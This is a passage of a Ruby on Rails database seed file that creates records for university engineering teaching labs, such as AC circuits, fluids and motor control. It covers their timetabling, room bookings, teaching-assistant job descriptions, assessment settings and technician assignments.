$room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at258.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a258.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/EhURKE\",\n mole_pub_link: \"https://goo.gl/FX6rau\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a258.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a258.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a258.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a258.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a259 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at259 = ActivityTimetable.where(activity_id: a259.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at259.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a259.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a259.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a259.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a259.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a259.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a260 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER380\").first.id, code: \"313\").first_or_create!(name: \"Aircraft Design\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at260 = ActivityTimetable.where(activity_id: a260.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a260.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a260.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"This experiment involves helping students build an aircraft which they have designed in the Merlin flight simulators. Once they hacve successfully built the aircraft, they will perform a test flight of the aircraft in order to assess the capabilities in relation to the design brief provided by the module leader. An interest in aircraft design and flight performance would therefore be desirable for this role.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a260.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a260.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a260.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a261 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode7\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at261 = ActivityTimetable.where(activity_id: a261.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a261.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a261.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a261.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a261.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a261.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a262 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"433\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"OOBLECK\", archived: false, in_drive: false, user_id: 3)\n at262 = ActivityTimetable.where(activity_id: a262.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 180, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a262.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8rsrucr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a262.id).first_or_create!(criteria: \"Some knowledge of the behaviour of fluids in shear (rheology) would be beneficial.\",\n job_desc:\"Playing with cornflour and water.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a262.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a262.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a262.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a263 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 1)\n at263 = ActivityTimetable.where(activity_id: a263.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a263.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a263.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a263.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a263.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a263.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a264 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at264 = ActivityTimetable.where(activity_id: a264.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a264.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a264.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a264.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a264.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a264.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a265 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at265 = ActivityTimetable.where(activity_id: a265.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a265.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a265.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a265.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a265.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a266 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"101\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 4)\n at266 = ActivityTimetable.where(activity_id: a266.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a266.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a266.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a266.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a266.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a266.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a267 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"10\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 3)\n at267 = ActivityTimetable.where(activity_id: a267.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a267.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a267.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a267.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a267.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n\n\n a268 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"102\").first_or_create!(name: \"Amplifiers and Probes\",\n name_abrv: \"AMP1\", archived: false, in_drive: false, user_id: 1)\n at268 = ActivityTimetable.where(activity_id: a268.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a268.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a268.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Help students to make advanced oscilloscope measurements, using averaging and good technique to measure small ac voltage signals\n Assist students in calculating the effects of cables and probes on measurements that they make\n Ensure students calibrate oscilloscope probes before taking measurements, and explain how the calibration process works\n Assist students in processing measured values, with an appreciataion of the experimental errrors involved\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a268.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a268.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a268.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a269 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"PHY392\").first.id, code: \"103\").first_or_create!(name: \"Arduino\",\n name_abrv: \"ARDUINO\", archived: false, in_drive: false, user_id: 1)\n at269 = ActivityTimetable.where(activity_id: a269.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a269.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a269.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a269.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a269.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a269.id, programme_id: $prog_phy.id).first_or_create!\n\n\n a270 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"105\").first_or_create!(name: \"Circuit Simulation using SPICE\",\n name_abrv: \"CSS\", archived: false, in_drive: false, user_id: 2)\n at270 = ActivityTimetable.where(activity_id: a270.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 4, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a270.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"SPICE\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a270.id).first_or_create!(criteria: \"Must be familiar with LTSpice simulation package\n Must be able to troubleshoot problems with students' simulations\n Must have knowledge of basic electronic circuits\",\n job_desc:\"Help students create simulations of analogue circuits using LTSpice software\n Debug issues with student code to ensure simulations run correctly\n Help students interpret measurements made in simulation and advice on how to use DC and AC simulation analysis for future experiments\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a270.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a270.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a270.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a271 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 2)\n at271 = ActivityTimetable.where(activity_id: a271.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a271.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a271.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a271.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a271.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a271.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a272 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 3)\n at272 = ActivityTimetable.where(activity_id: a272.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a272.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a272.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a272.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a272.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a272.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a273 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER107\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: false, in_drive: false, user_id: 1)\n at273 = ActivityTimetable.where(activity_id: a273.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a273.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a273.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a273.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a273.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a273.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a274 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: true, in_drive: false, user_id: 3)\n at274 = ActivityTimetable.where(activity_id: a274.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a274.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a274.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a274.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a274.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a274.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a275 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"108\").first_or_create!(name: \"DC Circuits\",\n name_abrv: \"DCC\", archived: false, in_drive: false, user_id: 4)\n at275 = ActivityTimetable.where(activity_id: a275.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a275.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a275.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be able to use power supplies, multimeters and oscilloscopes to make measurements on circuits\n Must be able to apply Ohms Law\n Ideally familiar with DC circuit analysis e.g. node and loop analysis, and application of Kirchoff's laws\",\n job_desc:\"Help students to construct passive networks of resistors on a breadboard\n Students should bring circuit analysis with them of current/voltage (from node/loop analysis etc.) - help them check their theoretical calculations against experimental measurements\n Help students use oscilloscopes, multimeters and power supplies to measure basic DC levels.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a275.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a275.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a275.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a276 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE119\").first.id, code: \"109\").first_or_create!(name: \"Digital Logic Circuits\",\n name_abrv: \"DLC\", archived: false, in_drive: false, user_id: 1)\n at276 = ActivityTimetable.where(activity_id: a276.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n 